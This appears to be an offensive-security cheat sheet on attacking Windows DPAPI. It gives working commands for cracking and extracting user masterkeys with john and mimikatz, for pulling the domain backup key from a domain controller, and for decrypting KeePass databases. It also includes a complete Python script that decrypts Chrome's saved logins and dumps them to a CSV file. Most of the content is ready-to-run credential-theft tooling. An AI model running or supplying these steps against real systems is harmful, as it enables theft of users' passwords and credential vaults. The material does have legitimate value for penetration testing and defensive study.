# DPAPI * [Jarno Baselier](https://jarnobaselier-nl.translate.goog/crack-dpapi-met-cqure-cqtools/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=nui) * [Insecurity's take](https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-with-tooling-standalone-dpapi/#The_DPAPILAB-NG_Toolset) * [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html) * [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++) ## Extract DPAPI Masterkey from AppData First find the user passwords inside `C:\Users\\AppData\Roaming\Microsoft\Protect\\` ```sh DPAPImk2john --sid --masterkey --context local > hash.txt john --wordlist= hash.txt ``` Use mimikatz on windows to extract the masterkey after the password has been discovered. ```sh mimikatz dpapi::masterkey /in: /sid: /password: /protected ``` This master key is used to derive keys for encryption or encrypt other keys instead of just encrypting files directly through DPAPI. ## Use a DPAPI Masterkey to Decrypt an Encrypted Blob The found masterkey can be used to decrypt encrypted data or even other keys which are used for file encryption. Use mimikatz to extract data/keys from an encrypted blob. ```sh mimikatz dpapi::blob /in: /unprotect /masterkey: /out:"./decrypted_blob" ``` ### Use of DPAPI in Google Chrome Google Chrome encrypts the key of which is used for password vaults of the users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI encrypted key. Get the key through using jq. ```sh jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State ``` The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64 decode it at first and remove the first 5 characters, which are `DPAPI` from the decoded string. ```sh jq .os_crypt.encrypted_key -r \ AppData/Local/Google/Chrome/User\ Data/\Local\ State | \ base64 -d | \ cut -c-6- > encrypted_key.dat ``` This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside `AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`. ```sh mimikatz dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey: /out:"./decrypted.key" ``` Decrypt the Database via a modified version of [ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending on the following circumstances. * Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack * Modify the column names of select query, depending on the version of Chrome ```python #Full Credits to LimerBoy import os import re import sys import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES import shutil import csv #GLOBAL CONSTANT CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE'])) CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE'])) def get_secret_key(): with open('./decrypted.key', 'rb') as f: return f.read() def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(ciphertext, secret_key): try: #(3-a) Initialisation vector for AES decryption initialisation_vector = ciphertext[3:15] #(3-b) Get encrypted password by removing suffix bytes (last 16 bits) #Encrypted password is 192 bits encrypted_password = ciphertext[15:-16] #(4) Build the cipher to decrypt the ciphertext cipher = generate_cipher(secret_key, initialisation_vector) decrypted_pass = decrypt_payload(cipher, encrypted_password) decrypted_pass = decrypted_pass.decode() return decrypted_pass except Exception as e: print("%s"%str(e)) print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.") return "" def get_db_connection(chrome_path_login_db): try: print(chrome_path_login_db) shutil.copy2(chrome_path_login_db, "Loginvault.db") return sqlite3.connect("Loginvault.db") except Exception as e: print("%s"%str(e)) print("[ERR] Chrome database cannot be found") return None if __name__ == '__main__': try: #Create Dataframe to store passwords with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file: csv_writer = csv.writer(decrypt_password_file, delimiter=',') csv_writer.writerow(["index","url","username","password"]) #(1) Get secret key secret_key = get_secret_key() #Search user profile or default folder (this is where the encrypted login password is stored) folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None] for folder in folders: #(2) Get ciphertext from sqlite database chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder)) conn = get_db_connection(chrome_path_login_db) if(secret_key and conn): cursor = conn.cursor() cursor.execute("SELECT origin_url, username_value, password_value FROM logins") for index,login in enumerate(cursor.fetchall()): url = login[0] username = login[1] ciphertext = login[2] if(url!="" and username!="" and ciphertext!=""): #(3) Filter the initialisation vector & encrypted password from ciphertext #(4) Use AES algorithm to decrypt the password decrypted_password = decrypt_password(ciphertext, secret_key) print("Sequence: %d"%(index)) print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password)) print("*"*50) #(5) Save into CSV csv_writer.writerow([index,url,username,decrypted_password]) #Close database connection cursor.close() conn.close() #Delete temp login db os.remove("Loginvault.db") except Exception as e: print("[ERR] %s"%str(e)) ``` ## Other Tools * [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git) * [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools) * Use [CQTools](https://github.com/paulacqure/CQTools.git) with care, __CQMasterKeyAD.exe__ does not work correctly. It will drive you mad. Here is the workaround Pressuposition is, you want to decrypt a blob with a masterkey, e.g. Keepass which is saved with windows logon DPAPI * Get the pvk backup key from the DC via mimikatz * Get the entropy via `CQTools/CQDPAPIKeePassDecryptor/CQDPAPIKeePassDBDecryptor.exe` * Get the encrypted blob * Get the user's Masterkey under `C:\users\\AppData\Roaming\Microsoft\Protect\\` * Use dpapilab-ng's `keepassdec.py` ```sh ./keepassdec.py --masterkey=path/to/masterkey/ -k /path/to/backup/key/ntds_capi_0_07ea03b4-3b28-4270-8862-0bc66dacef1a.keyx.rsa.pvk --entropy_hex= --sid=S-1-5-21-555431066-3599073733-176599750-1125 path/to/blob.bin ``` * Use the decrypted blob to ```sh CQDPAPIKeePassDBDecryptor.exe /k /f .kdbx ``` * Open the `*.kdbx` file